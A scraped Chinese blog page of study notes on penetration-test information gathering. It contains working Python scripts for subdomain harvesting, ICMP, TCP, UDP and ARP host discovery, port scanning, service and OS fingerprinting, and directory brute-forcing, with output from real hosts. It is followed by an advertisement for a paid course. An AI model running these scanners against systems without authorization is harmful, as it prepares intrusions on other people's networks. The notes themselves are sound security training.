精华内容
下载资源
问答
  • Python安全攻防-4信息收集 重新捡起《Python安全攻防》这本书继续学习。 被动信息收集: 在敲写代码之前,我们可以熟悉以下函数方法收集一些简单信息。 DNS解析: 1、IP查询 在socket模块中有gethostbyname()函数...

    重新捡起《Python安全攻防》这本书继续学习。

    被动信息收集:

    在敲写代码之前,我们可以熟悉以下函数方法收集一些简单信息。

    DNS解析:

    1、IP查询

    socket模块中有gethostbyname()函数,可以通过域名解析得到我们的IP:

    >>> import socket
    >>> ip = socket.gethostbyname('www.rainhacker.com')
    >>> ip
    '47.112.224.231'
    

    2、Whois查询

    通过whois()可以得到注册域名的详细信息:

    首先安装相应模块:

    pip3 install python-whois
    

    简单运用:

    >>> from whois import whois
    >>> a = whois('rainhacker.com')
    >>> print(a)
    {
      "domain_name": [
        "RAINHACKER.COM",
        "rainhacker.com"
      ],
      "registrar": "Alibaba Cloud Computing (Beijing) Co., Ltd.",
      "whois_server": "grs-whois.hichina.com",
      "referral_url": null,
      "updated_date": "2020-09-22 07:25:52",
      "creation_date": "2020-09-22 07:20:13",
      "expiration_date": "2021-09-22 07:20:13",
      "name_servers": [
        "DNS10.HICHINA.COM",
        "DNS9.HICHINA.COM"
      ],
      "status": "ok https://icann.org/epp#ok",
      "emails": "DomainAbuse@service.aliyun.com",
      "dnssec": "unsigned",
      "name": null,
      "org": null,
      "address": null,
      "city": null,
      "state": "hu bei",
      "zipcode": null,
      "country": "CN"
    }
    

    子域名挖掘:

    通过Python编写一个基于bing搜索引擎的简单的子域名挖掘工具

    # @Project  : PythonMS08067
    # @Time     : 2020/11/23 16:26
    # @File     : subdomain.py
    # @Software : PyCharm
    
    import requests
    from bs4 import BeautifulSoup
    from urllib.parse import urlparse
    import sys
    
    def bingsearch(site, pages):
        Subdomain = []
        # 构造http请求头
        headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
                   'Accept': '*/*',
                   'Accept-Language': 'en-US,en;q=0.5',
                   'Accept-Encoding': 'gzip,deflate',
                   'referer': 'http://cn.bing.com/search?q=email+site%3abaidu.com&qs=n&sp=-1&pq=emailsite%3abaidu.com&first=2&FROM=PERE1'}
    
        # 定义翻页动作
        for i in range(1, int(pages)+1):
            url = "https://cn.bing.com/search?q=site%3a"+site+"&go=Search&qs=ds&first="+str((int(i)-1)*10)+"&FROM=PERE"
            conn = requests.session()
            conn.get("http://cn.bing.com", headers=headers)
            html = conn.get(url, stream=True, headers=headers, timeout=8)
            soup = BeautifulSoup(html.content, 'html.parser')
            job_bt = soup.findAll('h2')
            # 筛选相应子域名
            for i in job_bt:
                link = i.a.get('href')
                domain = str(urlparse(link).scheme + "://" + urlparse(link).netloc)
                if domain in Subdomain:
                    pass
                else:
                    Subdomain.append(domain)
                    print(domain)
        return Subdomain
    
    if __name__ == '__main__':
        # site=baidu.com
        if len(sys.argv) == 3:
            site = sys.argv[1]
            page = sys.argv[2]
        else:
            print("usage: %s baidu.com 10" % sys.argv[0])
            sys.exit(0)
        Subdomain = bingsearch(site, page)
    
    

    上述代码比较简单,大致意思是通过site语法搜索输入域名相关子域名,并仿造翻页动作确保获取每页中的信息,域名由页面超链接中提取。

    下面实验获取前十页的域名信息:

    在这里插入图片描述

    邮件爬取:

    代码未实现,此小结略过。

    主动信息收集:

    简单来说,通过认为主动积极获取服务器的一些信息。

    基于ICMP的主机发现:

    代码通过向局域网内发送ICMP数据包,识别存活主机:

    # @Project  : PythonMS08067
    # @Time     : 2020/11/25 10:21
    # @File     : ICMP_host.py
    # @Software : PyCharm
    
    # 因scapy只能再linux上正常运行,所以此程序只适用于linux
    from scapy.all import *
    # from random import randint
    from optparse import OptionParser
    
    def main():
        parser = OptionParser("Usage:%prog -i <target host>")
        # 获取IP地址参数
        parser.add_option('-i', type='string', dest='IP', help='specify target host')
        options,ars = parser.parse_args()
        print("Scan report for {0}\n".format(options.IP))
        # 判断是单台主机还是多台主机
        # IP中存在-,说明是要扫描多台主机
        if '-' in options.IP:
            # 构造范围内IP
            for i in range(int(options.IP.split('-')[0].split('.')[3]), int(options.IP.split('-')[1])+1):
                # 扫描主机
                Scan('.'.join([options.IP.split('.')[0],options.IP.split('.')[1],options.IP.split('.')[2],str(i)]))
                # 睡眠
                time.sleep(0.2)
        else:
            # 扫描单个IP
            Scan(options.IP)
    
        print("\nScan finished!\n")
    
    def Scan(ip):
        # ip_id = randint(1, 65535)
        # icmp_id = randint(1, 65535)
        # icmp_seq = randint(1, 65535)
        # 构造ICMP包
        packet = IP(dst=ip)/ICMP()/b'rootkit'
        # 发送并接收
        result = sr1(packet, timeout=1, verbose=False)
        #
        if result:
        # for rcv in result:
            scan_ip = result[IP].src
            print(scan_ip+'-->'+'Host is up')
        else:
            print(ip + '--->'+'Host is down')
    
    
    
    
    if __name__ == '__main__':
        try:
            main()
        except KeyboardInterrupt:
            print("interrupted by user, killing all threads...")
    

    也是一段很简单的程序,这里不做过多的解释,程序将构造好的ICMP包发送给某个局域网内,存活的主机会发回ICMP的响应包。

    在这里插入图片描述

    书中还讲到了通过nmap来扫描:

    # @Project  : PythonMS08067
    # @Time     : 2020/11/26 9:32
    # @File     : nmap_ICMP_host.py
    # @Software : PyCharm
    
    import nmap
    import optparse
    
    
    def NmapScan(targetIP):
        # 实例化PortScan对象
        nm = nmap.PortScanner()
        try:
            # hosts为目标IP地址,argusments为Nmap的扫描参数
            # -sn:使用Ping扫描
            # -PE:使用ICMP的echo请求包(-PP:使用timestamp请求包 -PM:network请求包)
            result = nm.scan(hosts=targetIP, arguments='-sn -PE')
            # 对结果进行切片,提取主机状态信息
            state = result['scan'][targetIP]['status']['state']
            print('{0} is {1}'.format(targetIP, state))
        except Exception as e:
            pass
    
    if __name__ == '__main__':
        parser = optparse.OptionParser('usage: python %prog -i ip \n\n'
                                       'Example: python %prog -i 192.168.1.1[192.168.1.1-100]\n')
        # 添加目标参数-i
        parser.add_option('-i', '--ip', dest='targetIP', default='192.168.1.1', type='string', help='target ip address')
        # 接收参数
        options, args = parser.parse_args()
        # IP中存在'-',说明是要扫描多台主机
        if '-' in options.targetIP:
            # 代码举例:192.168.1.1-120
            # 通过'-'进行分割,把192.168.1.1和120进行分离
            # 把192.168.1.1通过'.'进行分割,取最后一个数作为range函数的start,然后把120+1作为range函数的stop
            # 这样循环遍历出需要扫描的IP地址
            for i in range(int(options.targetIP.split('-')[0].split('.')[3]), int(options.targetIP.split('-')[1])+1):
                NmapScan('.'.join([options.targetIP.split('.')[0], options.targetIP.split('.')[1], options.targetIP.split('.')[2], str(i)]))
        else:
            NmapScan(options.targetIP)
    

    后期可能会用到,其实还是nmap的参数记全问题就不大。

    基于TCP、UDP的主机发现:

    如果服务器防火墙做出了限制,禁止ICMP的数据,我们可以通过TCPUDP协议来判断主机是否存活。

    TCP主机发现:

    通过tcp报文头中的flag属性判断存活主机

    FLAG表示十进制表示
    SYN建立链接2
    FIN关闭链接1
    ACK应答响应16
    PSHDATA数据传输8
    RST链接重置4
    URG紧急指针32

    当我们将flag属性的值设置为ACK,(在三次握手中,第一次握手需要发送FIN序号,如果直接发送ACK,则会返回一个RST重置响应)发送给服务器,在没有第一次握手的条件下,链接将重置,所以如果主机存在,将会发送一个flag属性为RSTTCP报文

    重置连接标志,用于重置由于主机崩溃或其他原因而出现错误的连接。或者发送包发送到一个不是期望的目的主机时,接收端发送reset 重置连接标志的包。

    >>> from scapy.all import *
    >>> ip = IP()
    >>> tcp = TCP()
    >>> r = (ip/tcp)
    >>> r[IP].dst = "47.112.224.231"
    >>> r[TCP].flags="A"
    >>> r.display()
    ###[ IP ]### 
      version   = 4
      ihl       = None
      tos       = 0x0
      len       = None
      id        = 1
      flags     = 
      frag      = 0
      ttl       = 64
      proto     = tcp
      chksum    = None
      src       = 192.168.142.128
      dst       = 47.112.224.231
      \options   \
    ###[ TCP ]### 
         sport     = ftp_data
         dport     = http
         seq       = 0
         ack       = 0
         dataofs   = None
         reserved  = 0
         flags     = A
         window    = 8192
         chksum    = None
         urgptr    = 0
         options   = []
    
    >>> a=sr1(r)
    Begin emission:
    Finished sending 1 packets.
    ........................................*
    Received 41 packets, got 1 answers, remaining 0 packets
    >>> a.display()
    ###[ IP ]### 
      version   = 4
      ihl       = 5
      tos       = 0x0
      len       = 40
      id        = 0
      flags     = DF
      frag      = 0
      ttl       = 49
      proto     = tcp
      chksum    = 0xea4f
      src       = 47.112.224.231
      dst       = 192.168.142.128
      \options   \
    ###[ TCP ]### 
         sport     = http
         dport     = ftp_data
         seq       = 0
         ack       = 0
         dataofs   = 5
         reserved  = 0
         flags     = R
         window    = 0
         chksum    = 0x4ffc
         urgptr    = 0
         options   = []
    ###[ Padding ]### 
            load      = '\x00\x00\x00\x00\x00\x00'
    
    >>> 
    

    代码的实现

    # @Project  : PythonMS08067
    # @Time     : 2020/12/1 10:10
    # @File     : tcp_host.py
    # @Software : PyCharm
    
    
    from optparse import OptionParser
    from random import randint
    from scapy.all import *
    
    
    def main():
        usage = "Usage: %prog -i <ip address>"
        parse = OptionParser(usage=usage)
        parse.add_option("-i", "--ip", type="string", dest="targetIP", help="specify the IP address")
        options, args = parse.parse_args()
        if '-' in options.targetIP:
            for i in range(int(options.targetIP.split('-')[0].split('.')[3]), int(options.targetIP.split('-')[1]) + 1):
                Scan('.'.join([options.targetIP.split('.')[0], options.targetIP.split('.')[1], options.targetIP.split('.')[2], str(i)]))
                time.sleep(0.2)
        else:
            Scan(options.targetIP)
    
    
    def Scan(ip):
        try:
            dport = randint(1, 65535)
            packet = IP(dst=ip)/TCP(flags="A", dport=dport)
            response = sr1(packet, timeout=1, verbose=0)
            if response:
                if int(response[TCP].flags) == 4:
                    time.sleep(0.5)
                    print('%s is up' % ip)
                else:
                    print('%s is down' % ip)
            else:
                print('%s is down' % ip)
    
        except:
            pass
    
    
    if __name__ == '__main__':
        main()
    

    效果如下:

    └─# python3 tcp_host.py -i 192.168.142.190-200 
    192.168.142.190 is down
    192.168.142.191 is down
    192.168.142.192 is down
    192.168.142.193 is down
    192.168.142.194 is up
    192.168.142.195 is down
    192.168.142.196 is down
    192.168.142.197 is down
    192.168.142.198 is up
    192.168.142.199 is down
    192.168.142.200 is down
    

    UDP主机发现:

    向目标主机发送一个UDP数据包,如目标主机存在,且该目标端口关闭的情况下,会返回一个ICMP数据包(unreachable),也就是响应IP头报文中的proto属性为ICMP:

    协议(proto)对应十进制
    ICMP1
    IGMP2
    TCP6
    UDP17
    OSPF89

    结构:

    >>> from scapy.all import *
    >>> ip = IP()
    >>> udp = UDP()
    >>> r = (ip/udp)
    >>> r[IP].dst = '192.168.142.198'
    >>> r[UDP].dport = 7345
    >>> r.display()
    ###[ IP ]### 
      version   = 4
      ihl       = None
      tos       = 0x0
      len       = None
      id        = 1
      flags     = 
      frag      = 0
      ttl       = 64
      proto     = udp
      chksum    = None
      src       = 192.168.142.128
      dst       = 192.168.142.198
      \options   \
    ###[ UDP ]### 
         sport     = domain
         dport     = 7345
         len       = None
         chksum    = None
    
    >>> a = sr1(r)
    Begin emission:
    Finished sending 1 packets.
    .*
    Received 2 packets, got 1 answers, remaining 0 packets
    >>> a.display()
    ###[ IP ]### 
      version   = 4
      ihl       = 5
      tos       = 0x0
      len       = 56
      id        = 23074
      flags     = 
      frag      = 0
      ttl       = 128
      proto     = icmp
      chksum    = 0x420b
      src       = 192.168.142.198
      dst       = 192.168.142.128
      \options   \
    ###[ ICMP ]### 
         type      = dest-unreach
         code      = port-unreachable
         chksum    = 0x9bae
         reserved  = 0
         length    = 0
         nexthopmtu= 0
    ###[ IP in ICMP ]### 
            version   = 4
            ihl       = 5
            tos       = 0x0
            len       = 28
            id        = 1
            flags     = 
            frag      = 0
            ttl       = 64
            proto     = udp
            chksum    = 0xdc38
            src       = 192.168.142.128
            dst       = 192.168.142.198
            \options   \
    ###[ UDP in ICMP ]### 
               sport     = domain
               dport     = 7345
               len       = 8
               chksum    = 0x4460
    
    

    代码实现:

    # @Project  : PythonMS08067
    # @Time     : 2020/12/1 14:18
    # @File     : udp_host.py
    # @Software : PyCharm
    
    
    from optparse import OptionParser
    from random import randint
    from scapy.all import *
    
    
    def main():
    
        usage = "Usage: %prog -i <ip_address>"
        parse = OptionParser(usage=usage)
        parse.add_option("-i", "--ip", type="string", dest="targetIP", help="specify the IP address")
        options, args = parse.parse_args()
        if '-' in options.targetIP:
            for i in range(int(options.targetIP.split('-')[0].split('.')[3]), int(options.targetIP.split('-')[1])+1):
                Scan('.'.join([options.targetIP.split('.')[0], options.targetIP.split('.')[1], options.targetIP.split('.')[2], str(i)]))
        else:
            Scan(options.targetIP)
    
    
    def Scan(ip):
        try:
            dport = randint(1, 65535)
            packet = IP(dst=ip)/UDP(dport=dport)
            response = sr1(packet, timeout=1, verbose=0)
            if response:
                if int(response[IP].proto) == 1:
                    time.sleep(0.5)
                    print('%s is up' % ip)
                else:
                    print('%s is down' % ip)
            else:
                print('%s is down' % ip)
        except:
            pass
        
    if __name__ == '__main__':
        main()
    
    

    效果如下:

    └─# python3 udp_host.py -i 192.168.142.190-200
    192.168.142.190 is down
    192.168.142.191 is down
    192.168.142.192 is down
    192.168.142.193 is down
    192.168.142.194 is down
    192.168.142.195 is down
    192.168.142.196 is down
    192.168.142.197 is down
    192.168.142.198 is up
    192.168.142.199 is down
    192.168.142.200 is down
    

    基于ARP的主机发现:

    在渗透内网中起到了很大的作用。通过向局域网内发送ARP请求,响应的主机均为存活主机(我们这里只用注意属性op的值):

    OP表示
    1ARP请求
    2ARP响应

    ARP包结构如下:

    >>> from scapy.all import *
    >>> ls(ARP)
    hwtype     : XShortField                         = (1)
    ptype      : XShortEnumField                     = (2048)
    hwlen      : FieldLenField                       = (None)
    plen       : FieldLenField                       = (None)
    op         : ShortEnumField                      = (1)
    hwsrc      : MultipleTypeField                   = (None)
    psrc       : MultipleTypeField                   = (None)
    hwdst      : MultipleTypeField                   = (None)
    pdst       : MultipleTypeField                   = (None)
    >>> ls(Ether)
    dst        : DestMACField                        = (None)
    src        : SourceMACField                      = (None)
    type       : XShortEnumField                     = (36864)
    
    

    代码实现

    # @Project  : PythonMS08067
    # @Time     : 2020/12/1 14:44
    # @File     : arpscanner.py
    # @Software : PyCharm
    
    
    
    import optparse
    from scapy.all import *
    
    
    def HostAddress(iface):
        try:
            ip_address = get_if_addr(iface)
            mac_address = get_if_hwaddr(iface)
        except:
            pass
    
        addressinfo = (ip_address, mac_address)
        return addressinfo
    
    
    def AppScan(iface='eth0'):
        # 通过HostAddress返回的元组取出MAC与IP
        ip = HostAddress(iface)[0]
        print(ip)
        mac = HostAddress(iface)[1]
        print(mac)
        # 对本机IP地址并进行分割作为依据元素,用于生成需要扫描的IP地址
        ipSplit = ip.split('.')[:3]
        print(ipSplit)
        # 需要扫描的IP地址列表
        ipList = []
        # 根据本机IP生成IP扫描分为
        for i in range(1, 255):
            ipItem = '.'.join(ipSplit) + '.' + str(i)
            ipList.append(ipItem)
    
        '''
        发送ARP包
        因为要用到OSI二层和三层,所以要写成Ether/ARP
        因为最底层用到了二层,所以要用srp()发包
        '''
        packet = Ether(src=mac, dst="FF:FF:FF:FF:FF:FF") / ARP(op=1, hwsrc=mac, hwdst="00:00:00:00:00:00", pdst=ipList)
        # 读取result中的应答包和应答包内容
        result = srp(packet, iface=iface, timeout=2, verbose=False)
        resultAns = result[0].res
        # 存活主机列表
        liveHost = []
        # number存回应包总数
        number = len(resultAns)
        print("============================")
        print("ARP 探测结果")
        print("本机IP地址:" + ip)
        print("本机MAC地址:" + mac)
        print("============================")
        print(ipList)
        for x in range(number):
            IP = resultAns[x][1][1].fields['psrc']
            MAC = resultAns[x][1][1].fields['hwsrc']
            liveHost.append([IP, MAC])
            print("IP: {0} \t\t MAC: {1}".format(IP, MAC))
            print("============================")
        # 把存活主机IP写入文件
        with open('ip.txt', 'w') as f:
            for i in range(len(liveHost)):
                f.write(liveHost[i][0] + '\n')
    
    
    if __name__ == '__main__':
        parser = optparse.OptionParser('Usage: python %prog -i interface \n\n'
                                       'Example: python %prog -i eth0\n')
        # 添加-i参数
        parser.add_option('-i', '--iface', dest='iface', default='eth0', type='string', help='interfaces name')
        options, args = parser.parse_args()
        AppScan(options.iface)
    
    
    
    
    

    这里使用srp()函数将我们构造好的ARP请求包发送到局域网的每一台主机并接受所有的ARP响应包,并使用res属性得到刚刚接受到的所有应答包和应答包内容,然后形成resultAns变量,变量第一个索引为包序号,第二个索引为0表示是我们发送的包,为1表示是我们收到的包,第三个索引表示精确到第几层,[0]代表二层,[1]进一层到IP层,[2]进一步到传输层,[3]进一步到应用层。fields表示将信息转为字典。

    效果如下

    在这里插入图片描述

    端口检测:

    在渗透测试中,服务器的端口开放情况也是非常重要的信息。

    废话不多说,代码比较简单,这里直接上代码

    # @Project  : PythonMS08067
    # @Time     : 2020/12/2 10:11
    # @File     : scanner-port.py
    # @Software : PyCharm
    
    
    import sys
    import socket
    import optparse
    import threading
    import queue
    
    
    # 端口扫描类,继承threading.Thread
    class PortScanner(threading.Thread):
        # 需要传入端口队列、目标IP,探测超时时间
        def __init__(self, portqueue, ip, timeout=3):
            threading.Thread.__init__(self)
            self._portqueue = portqueue
            self._ip = ip
            self._timeout = timeout
    
        def run(self):
            while True:
                # 判断端口队列是否为空
                if self._portqueue.empty():
                    # 端口队列为空,说明已经扫描完毕,跳出循环
                    break
                # 从端口队列中取出端口,超时时间为0.5s
                port = self._portqueue.get(timeout=0.5)
                try:
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.settimeout(self._timeout)
                    result_code = s.connect_ex((self._ip, port))
                    # 若端口开放,则返回0
                    if result_code == 0:
                        sys.stdout.write("[%d] OPEN\n" % port)
                except Exception as e:
                    print(e)
                finally:
                    s.close()
    
    
    def StartScan(targetip, port, threadNum):
        # 端口列表
        portList = []
        # 判断是单个端口还是范围端口
        if '-' in port:
            for i in range(int(port.split('-')[0]), int(port.split('-')[1])+1):
                portList.append(i)
        else:
            portList.append(int(port))
        # 目标IP地址
        ip = targetip
        # 线程列表
        threads = []
        # 线程数量
        threadNumber = threadNum
        # 端口队列
        portQueue = queue.Queue()
        # 生成端口,加入端口队列
        for port in portList:
            portQueue.put(port)
        for t in range(threadNumber):
            threads.append(PortScanner(portQueue, ip, timeout=3))
        # 启动线程
        for thread in threads:
            thread.start()
        # 阻塞线程
        for thread in threads:
            thread.join()
    
    
    if __name__ == '__main__':
        parser = optparse.OptionParser('Example: python $prog -i 127.0.0.1 -p 80 \npython %prog -i 127.0.0.1 -p 1-100\n')
        parser.add_option('-i', '--ip', dest='targetIP', default='127.0.0.1', type='string', help='target IP')
        parser.add_option('-p', '--port', dest='port', default='80', type='string', help='scan port')
        parser.add_option('-t', '--thread', dest='threadNum', default='100', type='int', help='scann thread number')
        options, args = parser.parse_args()
        StartScan(options.targetIP, options.port, options.threadNum)
    
    

    效果如下:

    └─# python3 scanner_port.py -i 192.168.142.198 -p 1-3500 -t 100
    [135] OPEN
    [139] OPEN
    [443] OPEN
    [445] OPEN
    [903] OPEN
    [913] OPEN
    [1688] OPEN
    [3389] OPEN
    

    服务识别:

    在得到开放端口后,搞清楚端口对应的服务及服务版本很有必要。

    #!/usr/bin/python3.7
    #!coding:utf-8
    from optparse import OptionParser
    import time
    import socket
    import os
    import re
    
    SIGNS = (
        # 协议 | 版本 | 关键字
        b'FTP|FTP|^220.*FTP',
        b'MySQL|MySQL|mysql_native_password',
        b'oracle-https|^220- ora',
        b'Telnet|Telnet|Telnet',
        b'Telnet|Telnet|^\r\n%connection closed by remote host!\x00$',
        b'VNC|VNC|^RFB',
        b'IMAP|IMAP|^\* OK.*?IMAP',
        b'POP|POP|^\+OK.*?',
        b'SMTP|SMTP|^220.*?SMTP',
        b'Kangle|Kangle|HTTP.*kangle',
        b'SMTP|SMTP|^554 SMTP',
        b'SSH|SSH|^SSH-',
        b'HTTPS|HTTPS|Location: https',
        b'HTTP|HTTP|HTTP/1.1',
        b'HTTP|HTTP|HTTP/1.0',
    )
    def regex(response, port):
        text = ""
        if re.search(b'<title>502 Bad Gateway', response):
            proto = {"Service failed to access!!"}
        for pattern in SIGNS:
            pattern = pattern.split(b'|')
            if re.search(pattern[-1], response, re.IGNORECASE):
                proto = "["+port+"]" + " open " + pattern[1].decode()
                break
            else:
                proto = "["+port+"]" + " open " + "Unrecognized"
        print(proto)
    
    def request(ip,port):
        response = ''
        PROBE = 'GET / HTTP/1.0\r\n\r\n'
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        result = sock.connect_ex((ip, int(port)))
        if result == 0:
            try:
                sock.sendall(PROBE.encode())
                response = sock.recv(256)
                if response:
                    regex(response, port)
            except ConnectionResetError:
                pass
        else:
            pass
        sock.close()
    
    def main():
        parser = OptionParser("Usage:%prog -i <target host> ")   # 输出帮助信息
        parser.add_option('-i',type='string',dest='IP',help='specify target host')   # 获取ip地址参数
        parser.add_option('-p', type='string', dest='PORT', help='specify target host')  # 获取ip地址参数
        options,args = parser.parse_args()
        ip = options.IP
        port = options.PORT
        print("Scan report for "+ip+"\n")
        for line in port.split(','):
            request(ip,line)
            time.sleep(0.2)
        print("\nScan finished!....\n")
    
    if __name__ == "__main__":
        try:
            main()
        except KeyboardInterrupt:
            print("interrupted by user, killing all threads...")
    

    代码比较简单,不多做解释,唯一难点在于正则表的式的运用。

    下面是代码实现的效果:

    在这里插入图片描述

    系统识别:

    冷知识:windows系统ping工具与linux系统ping工具默认ttl起始值不同:(Linux为64,windows为128)

    当我们ping操作系统windows时:

    └─# ping 192.168.142.198
    PING 192.168.142.198 (192.168.142.198) 56(84) bytes of data.
    64 bytes from 192.168.142.198: icmp_seq=1 ttl=128 time=0.161 ms
    64 bytes from 192.168.142.198: icmp_seq=2 ttl=128 time=0.362 ms
    64 bytes from 192.168.142.198: icmp_seq=3 ttl=128 time=0.456 ms
    64 bytes from 192.168.142.198: icmp_seq=4 ttl=128 time=0.317 ms
    ^C
    --- 192.168.142.198 ping statistics ---
    4 packets transmitted, 4 received, 0% packet loss, time 3060ms
    rtt min/avg/max/mdev = 0.161/0.324/0.456/0.106 ms
    
    

    当我们ping操作系统linux时:

    └─# ping rainhacker.com     
    PING rainhacker.com (47.112.224.231) 56(84) bytes of data.
    64 bytes from 47.112.224.231 (47.112.224.231): icmp_seq=1 ttl=50 time=25.2 ms
    64 bytes from 47.112.224.231 (47.112.224.231): icmp_seq=2 ttl=50 time=25.4 ms
    64 bytes from 47.112.224.231 (47.112.224.231): icmp_seq=3 ttl=50 time=25.0 ms
    64 bytes from 47.112.224.231 (47.112.224.231): icmp_seq=4 ttl=50 time=25.2 ms
    64 bytes from 47.112.224.231 (47.112.224.231): icmp_seq=5 ttl=50 time=25.1 ms
    64 bytes from 47.112.224.231 (47.112.224.231): icmp_seq=6 ttl=50 time=24.6 ms
    ^C
    --- rainhacker.com ping statistics ---
    6 packets transmitted, 6 received, 0% packet loss, time 5009ms
    rtt min/avg/max/mdev = 24.639/25.103/25.445/0.244 ms
    

    通过ttl值判定目标主机操作系统,下列是代码的编写:

    # @Project  : PythonMS08067
    # @Time     : 2020/12/23 14:25
    # @File     : sys_host.py
    # @Software : PyCharm
    
    
    from optparse import OptionParser
    import os
    import re
    
    
    def ttl_scan(ip):
        ttlstrmatch = re.compile(r'ttl=\d+', re.I)
        ttlnummatch = re.compile(r'\d+')
        result = os.popen("ping -c 1 "+ip)
        res = result.read()
        for line in res.splitlines():
            result = ttlstrmatch.findall(line)
            if result:
                ttl = ttlnummatch.findall(result[0])
                if int(ttl[0]) <= 64:
                    print("%s is Linux/Unix" % ip)
                else:
                    print("%s is Windows" % ip)
                break
            else:
                pass
    
    
    def main():
        parser = OptionParser("Usage:%prog -i <target host>")
        parser.add_option('-i', type='string', dest='IP', help='specify target host')
        options, args = parser.parse_args()
        ip = options.IP
        ttl_scan(ip)
    
    
    if __name__ == '__main__':
        main()
    

    代码很简单,使用popen()函数执行ping命令,将回显结果过滤,提取ttl值,若小于或等于64则为linux系统,反之为windows。

    └─# python3 sys_host.py -i rainhacker.com
    rainhacker.com is Linux/Unix
    

    敏感目录探测:

    这个代码应该是本章节最简单的了,直接上代码吧

    # @Project  : PythonMS08067
    # @Time     : 2020/12/23 14:47
    # @File     : finddir.py
    # @Software : PyCharm
    
    
    import requests
    
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0"
    }
    url = input("url: ")
    txt = input('php.txt')
    
    
    url_list = []
    if txt == "":
        txt = "php.txt"
    try:
        with open(txt, 'r') as f:
            url_list = f.read().split('\n')
    except:
        print("error")
    
    for li in url_list:
        conn = "http://"+ url + "/" + li
        try:
            response = requests.get(conn, headers=headers)
            print("%s --------------- %s" % (conn, response))
        except:
            # print("%s --------------- %s" % (conn, e.code))
            pass
    

    效果如下:

    url: www.baidu.com
    php.txt
    http://www.baidu.com/index.php --------------- <Response [200]>
    http://www.baidu.com/login --------------- <Response [404]>
    http://www.baidu.com/dvwa --------------- <Response [404]>
    http://www.baidu.com/phpMyAdmin --------------- <Response [404]>
    http://www.baidu.com/dav --------------- <Response [404]>
    http://www.baidu.com/twiki --------------- <Response [404]>
    http://www.baidu.com/login.php --------------- <Response [200]>
    
    展开全文
  • 如果你立志成为一名合格的安全从业者,想突破“脚本小子”的瓶颈,成为真正的黑客,想拥有自己打造出来的属于自己的神兵利器!《Python安全攻防:渗透测试实战指南》已经出版,配套星球现在可以...

    如果你立志成为一名合格的安全从业者,想突破“脚本小子”的瓶颈,成为真正的黑客,想拥有自己打造出来的属于自己的神兵利器!《Python安全攻防:渗透测试实战指南》已经出版,配套星球现在可以安排起来了!


    照惯例,针对这本书我们推出了配套知识星球!用于视频讲解和技术解答!

    星球截至目前已经更新16课视频

    主讲老师介绍:

    一坨奔跑的蜗牛:电信股份有限公司研究院网络安全研员,MS08067安全实验室、贝塔安全实验室核心成员。主要从事安全攻防、威胁情报、云计算等方面安全研究。在科研方向,发表并检索EI论文3篇,申请发明专利2项。

    大方子:MS08067安全实验室核心成员,CSDN活跃博主,获得CompTIA Security+认证。主要从事WEB渗透、内网渗透等方向安全研究。热衷分享自己的所见所闻所学,并在博客、公众号、知识论坛等发表多篇安全技术文章。

    第三讲 第一个python程序

    链接:

    https://pan.baidu.com/s/1-1lCm999UcfY6ZVW4l9UIA
    提取码:skpd

    更多配套视频可以加入python安全攻防知识星球学习!

    星球有什么:

    1.《Python安全攻防》电子版本预览

    2.《Python安全攻防》配套作者视频课程,共计100讲左右

    3.《Python安全攻防》全书提及所有源码和工具配套实验环境

    4.作者就Python安全攻防相关知识重点难点答疑解惑

    5. Python渗透测试最新汇总资料秘笈

    6.内部渗透专业圈子,内部互助交流进步

     

    扫描下方二维码加入星球

    开始我们的大佬成长之旅吧!

    加入后会请你进内部微信群,内部微信群永久有效!

    全部视频目录

    第一章 渗透测试概述篇

    1.1   信息安全发展史   

    1.1.1 互联网的起源  

    1.2 信息安全服务行业的现状    

    1.2 渗透测试基本流程

    1.4 渗透测试的基本流程 

    1.5 小结   

    第二章 Python语言基础篇 

    2.1 Python环境搭建  

    2.1.1 Windows系统下的安装   

    2.1.2 Linux系统下的安装     

    2.2 编写第一个python程序    

    2.3 Python模块的安装与使用  

    2.3.1 Python扩展库的安装   

    2.3.2 Python模块的导入与使用

    2.4 Python序列     

    2.4.1 列表    

    2.4.2 元组    

    2.4.3 字典

    2.4 Python控制结构

    2.4.1 选择结构 

    2.4.2循环结构  

    2.5 文件处理   

    2.6 异常处理结构

    2.7 Socket网络编程   

    2.8 可执行文件的生成   

    2.8.1 Window系统下的生成

    2.8.2 Linux系统下的生成

    2.9 小结

    第三章 渗透测试框架篇

    3.1Pocsuite框架  

    3.1.1功能介绍   

    3.1.2安装Pocsuite

    3.1.3使用Pocsuite

    3.2 POC脚本编写 

    3.3 EXP脚本编写

    3.4小结 

     

    第四章 信息搜集篇   

    4.1被动信息搜集 

    4.1.1 DNS解析  

    4.1.2 子域名挖掘  

    4.1.3 邮件爬取 

    4.2 主动信息收集

    4.2.1基于ICMP主机发现

    4.2.2基于TCP、DUP主机发现 

    4.2.3 基于ARP主机发现 

    4.2.4 端口探测 

    4.2.5 服务识别 

    4.2.6 系统识别 

    4.2.7敏感目录探测     

    4.3 小结

     

    第五章 漏洞检测与防御篇 

    5.1 未授权访问漏洞 

    5.1.1 redis未授权访问简介    

    5.1.2 redis未授权访问利用    

    5.1.3 redis未授权访问检测    

    5.1.4 redis未授权访问的防御策略

    5.2 外部实体注入漏洞与防御 

    5.2.1外部实体注入漏洞简介

    5.2.2外部实体注入漏洞检测

    5.2.3外部实体注入漏洞防御策略

    5.3 Sql盲注漏洞

    5.3.1 Sql盲注简介

    5.3.2 布尔型Sql盲注检测

    5.3.3 时间型Sql盲注检测    

    5.3.4 Sql注入防御

    5.4SQLMap Tamper脚本

    5.4.1 SQLMap及Tamper脚本简介 

    5.4.2 Tamper脚本的编写(一)

    5.4.3 Tamper脚本的编写(二)

    5.5 服务端请求伪造漏洞

    5.5.1 服务端请求伪造简介  

    5.5.2 服务端请求伪造检测  

    5.5.3 服务端请求伪造防御  

    5.6网络代理

      5.6.1 网络代理的简介

    5.6.2 网络代理的使用

    5.7小结 

     

    第六章 数据加解密篇

    6.1 常见的加密算法 

    6.1.1对称加密算法     

    6.1.2非对称加密算法 

    6.1.3分组密码工作模式  

    6.2 PyCrytodome库函数 

    6.3 Base64编码     

    6.3.1 Base64编码原理

    6.3.2 Python实现Base64编码   

    6.4 DES加密算法  

    6.4.1 DES加密原理

    6.4.2 Python实现DES加解密    

